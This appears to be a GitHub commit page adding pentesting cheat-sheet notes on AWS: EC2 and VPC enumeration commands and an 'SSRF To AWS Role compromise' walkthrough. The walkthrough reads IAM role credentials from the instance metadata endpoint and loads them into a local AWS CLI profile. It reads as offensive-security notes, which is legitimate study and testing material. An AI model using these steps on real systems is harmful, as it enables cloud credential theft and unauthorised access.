-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
GITBOOK-646: change request with no subject merged in GitBook
- Loading branch information
1 parent
124b867
commit 92379e2
Showing
6 changed files
with
113 additions
and
13 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
# Enumeration | ||
|
||
## Instances | ||
|
||
List all instances | ||
|
||
``` | ||
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[Tags[?Key == `Name`].Value,InstanceId,State.Name,InstanceType,PublicIpAddress,PrivateIpAddress]' --output text | sed 'N;s/\n/ /' | ||
``` | ||
|
||
Download the UserData script file from all instances | ||
|
||
``` | ||
ec2_list=$(aws ec2 describe-instances --region us-east-1 --query Reservations[].Instances[].InstanceId --output text --profile ec2-capstone) | ||
for i in $ec2_list; do | ||
aws ec2 describe-instance-attribute --profile ec2-capstone --instance-id $i --attribute userData --output text --query UserData --region us-east-1 | base64 --decode > $i-USERDATA.txt | ||
done | ||
``` | ||
|
||
## Network | ||
|
||
``` | ||
aws ec2 describe-network-interfaces #display all | ||
aws ec2 describe-network-interfaces --filters "Name=attachment.instance-id,Values=<instance id>" | ||
aws ec2 describe-network-interfaces | jq '.NetworkInterfaces[0]' | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
# SSRF To AWS Role compromise | ||
|
||
## Enumeration | ||
|
||
Load a local server using one of the following commands | ||
|
||
``` | ||
python -m SimpleHttpServer <port> #python2 | ||
python -m http.server <port> #python3 | ||
``` | ||
|
||
Use your public IP as the payload, we expect to see a HTTP request in the local server logs. In this case we have confirmed SSRF | ||
|
||
If you suspect that a firewall or other network protection systems are blocking the request, you can try to make the application retrieve a well known file from the OS. See the [LFI List page](../../web-attacks/file-upload/lfi-list.md) for a list of common file locations for Linux and Windows. | ||
|
||
## Exploit | ||
|
||
### Gain control of EC2 role | ||
|
||
Check current role | ||
|
||
``` | ||
http://169.254.169.254/latest/meta-data/iam/security-credentials/ | ||
``` | ||
|
||
Get associated key | ||
|
||
``` | ||
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role name> | ||
``` | ||
|
||
Configure new profile on local machine and gain access to AWS environment | ||
|
||
``` | ||
aws configure --profile <profile name> #specfiy access key id, value and region when prompted | ||
aws configure --profile <profile name> set aws_session_token <role token> | ||
``` | ||
|
||
Verify credentials | ||
|
||
``` | ||
aws sts get-caller-identity --profile <profile name> | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
# VPC | ||
|
||
## Enumeration | ||
|
||
Public load balancers (ELB) | ||
|
||
``` | ||
aws elbv2 describe-load-balancers --query LoadBalancers[].DNSName --output text | ||
``` |